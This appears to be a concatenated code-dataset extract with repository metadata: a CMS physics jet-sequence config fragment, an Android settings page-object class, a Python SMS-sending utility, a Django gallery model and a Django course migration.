)
akPu3CaloJetSequence_data = cms.Sequence(akPu3Calocorr
*
#akPu3CaloJetID
#*
akPu3CaloJetTracksAssociatorAtVertex
*
akPu3CaloJetBtagging
*
akPu3CaloNjettiness
*
akPu3CalopatJetsWithBtagging
*
akPu3CaloJetAnalyzer
)
akPu3CaloJetSequence_jec = cms.Sequence(akPu3CaloJetSequence_mc)
akPu3CaloJetSequence_mb = cms.Sequence(akPu3CaloJetSequence_mc)
akPu3CaloJetSequence = cms.Sequence(akPu3CaloJetSequence_mc)
|
[
"marta.verweij@cern.ch"
] |
marta.verweij@cern.ch
|
5a687e1eec6ceb70d09965e140275751b92511b7
|
b95178ffeb0afea34a44f231b707ac94dfae0fa2
|
/page/search_page.py
|
bde55896892df4e67d4f0de64771bb586a3370a8
|
[] |
no_license
|
python342987903/Test_mobile
|
84ea219e8085a2320744404ed0c0833b7c265107
|
c9d2e90fe411c97f04a44e5e9ff3707d75ef7a29
|
refs/heads/master
| 2020-04-18T11:52:10.166833
| 2019-01-26T10:21:22
| 2019-01-26T10:21:22
| 167,515,447
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 863
|
py
|
from selenium.webdriver.common.by import By
from base.base import Base
class SearchPage(Base):
def __init__(self,driver): # 子类重写父类初始化方法,传入的还是父类的driver驱动
Base.__init__(self,driver) # 强制调用执行父类方法
# 抽取页面元素
self.search_btn = (By.ID,"com.android.settings:id/search") # 搜索按钮
self.search_input = (By.ID,"android:id/search_src_text") # 输入框
self.results = (By.ID,"com.android.settings:id/title") # 搜索结果列表
def click_search_btn(self):
self.click_element(self.search_btn) # 点击搜索按钮
def send_search_text(self,text):
self.send_element(self.search_input,text) # 输入数据
def get_search_result(self):
data = self.search_elements(self.results)
return [i.text for i in data]
|
[
"342987903@qq.com"
] |
342987903@qq.com
|
a79101a49de4afb66b84ddb3a6e381fc39285681
|
c0f5907e569cd0566393eeabb2e54e5a6b30ddd0
|
/flow1.0/src/flow-site/smsUtil.py
|
9aefc21e342737161cf800594a00d227e638b4ab
|
[] |
no_license
|
Kudo/flow-platform
|
91c4321b4d89dde8be8daa5c90096c94730ef618
|
a761e7b507151794d9cca1603caa2e573760b197
|
refs/heads/master
| 2021-01-23T08:39:59.160528
| 2009-04-26T18:00:03
| 2009-04-26T18:00:03
| 32,502,932
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,042
|
py
|
# coding=big5
import logging,datetime,re
import urllib
from db import ddl
def sendSms(strPhoneNumber,objUniContent):
smsSettings=getSmsSettings()
strUrl='http://api.twsms.com/send_sms.php'
dicData={'username':smsSettings.account,
'password':smsSettings.password,
'type':'now',
'encoding':'unicode',
'mobile':strPhoneNumber,
'message':objUniContent.encode('utf8')
}
strRequest=strUrl+'?'+urllib.urlencode(dicData)
print `strRequest`
print urllib.urlopen(strRequest,proxies={'http':'http://twproxy.trendmicro.com:8080'}).read()
def getSmsSettings():
smsSettings = ddl.SmsSettings.all()
if not smsSettings.count():
smsSettings=ddl.SmsSettings(account='',password='')
smsSettings.put()
return smsSettings
return smsSettings[0]
def sendSmsOnGAE(strPhoneNumber,objUniContent,npo_id='',volunteer_id='',event_id=''):
from google.appengine.api.urlfetch import fetch
smsSettings=getSmsSettings()
strUrl='http://api.twsms.com/send_sms.php'
dicData={'username':smsSettings.account,
'password':smsSettings.password,
'type':'now',
'encoding':'unicode',
'mobile':strPhoneNumber,
'message':objUniContent.encode('utf8')
}
strRequest=strUrl+'?'+urllib.urlencode(dicData)
resp=fetch(strRequest)
logging.info(resp.content)
objSmsLog=ddl.SmsLog(send_time=datetime.datetime.utcnow(),cellphone_no=strPhoneNumber,result=resp.content,
npo_id=str(npo_id),volunteer_id=str(volunteer_id),event_id=str(event_id))
objSmsLog.put()
objMatch=re.search('resp=([-]*[\d]*)',resp.content)
if not objMatch:
raise RuntimeError('Send SMS failed! Error:%s'%resp.content)
else:
if len(objMatch.group(1))!=8:
raise RuntimeError('Send SMS failed! Error:%s'%objMatch.group(1))
return objMatch.group(1)
|
[
"camgelo@56b9cbb4-a45a-11dd-a8c6-677c70d10fe4"
] |
camgelo@56b9cbb4-a45a-11dd-a8c6-677c70d10fe4
|
eae9fe86013176d3229dc82ad074aa3021232838
|
ec150425363d28904206a9ad7c9eadb71b37d168
|
/Gallery/models.py
|
dba481f300b47fb039455c0e642f39a4cd408b14
|
[] |
no_license
|
Avin-Pathak/Website-AKS
|
1c24ed2d6a924d744d73bb0d449261b9023b877f
|
4ff5619533596fe5baa9777e8297e578e9c0cb65
|
refs/heads/main
| 2023-08-03T05:52:31.999540
| 2021-09-21T17:31:40
| 2021-09-21T17:31:40
| 408,915,078
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 360
|
py
|
from django.db import models
# Create your models here.
class PhotoModel(models.Model):
category = models.CharField(max_length = 100)
caption = models.CharField(max_length = 1000)
image = models.ImageField(upload_to='gall', blank=True)
video = models.FileField(upload_to='gall', blank=True)
def __str__(self):
return self.caption
|
[
"pathakavin26@gmail.com"
] |
pathakavin26@gmail.com
|
3e763827c1e2ec7494c23cb46035a5c2a8ee41f2
|
2e0f8a1d92c28f4ec95af4f25f68f8840cb18b4d
|
/mxonline/apps/courses/migrations/0001_initial.py
|
b464b070227a09c508f85cafae6a13e91af64762
|
[] |
no_license
|
sure1840s/django_mxwang
|
66b6aff1931e8fc80d4a47a84223ac6ec4631816
|
7c593b358b3cf50956fcfdb9bbd8d18a08c9bc71
|
refs/heads/master
| 2021-01-24T20:14:57.699438
| 2018-03-02T14:49:08
| 2018-03-02T14:49:08
| 123,248,973
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,802
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9.8 on 2018-02-26 09:57
from __future__ import unicode_literals
import datetime
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Course',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=50, verbose_name='课程名')),
('desc', models.CharField(max_length=300, verbose_name='课程描述')),
('detail', models.TextField(verbose_name='课程详情')),
('degree', models.CharField(choices=[('cj', '初级'), ('zj', '中级'), ('gj', '高级')], max_length=2)),
('learn_times', models.IntegerField(default=0, verbose_name='学习时长(分钟数)')),
('students', models.IntegerField(default=0, verbose_name='学习人数')),
('fav_nums', models.IntegerField(default=0, verbose_name='收藏人数')),
('image', models.ImageField(upload_to='courses/%Y/%m', verbose_name='封面')),
('click_nums', models.IntegerField(default=0, verbose_name='点击数')),
('add_time', models.DateTimeField(default=datetime.datetime.now, verbose_name='添加时间')),
],
options={
'verbose_name': '课程',
'verbose_name_plural': '课程',
},
),
migrations.CreateModel(
name='CourseResourse',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100, verbose_name='名称')),
('download', models.FileField(upload_to='course/resource/%Y/%m', verbose_name='资源文件')),
('add_time', models.DateTimeField(default=datetime.datetime.now, verbose_name='添加时间')),
('course', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Course', verbose_name='课程')),
],
options={
'verbose_name': '课程资源',
'verbose_name_plural': '课程资源',
},
),
migrations.CreateModel(
name='Lesson',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100, verbose_name='章节名')),
('add_time', models.DateTimeField(default=datetime.datetime.now, verbose_name='添加时间')),
('course', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Course', verbose_name='课程')),
],
options={
'verbose_name': '课程',
'verbose_name_plural': '课程',
},
),
migrations.CreateModel(
name='Video',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100, verbose_name='视频名')),
('add_time', models.DateTimeField(default=datetime.datetime.now, verbose_name='添加时间')),
('lesson', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='courses.Lesson', verbose_name='章节')),
],
options={
'verbose_name': '视频',
'verbose_name_plural': '视频',
},
),
]
|
[
"lllagentina@163.com"
] |
lllagentina@163.com
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.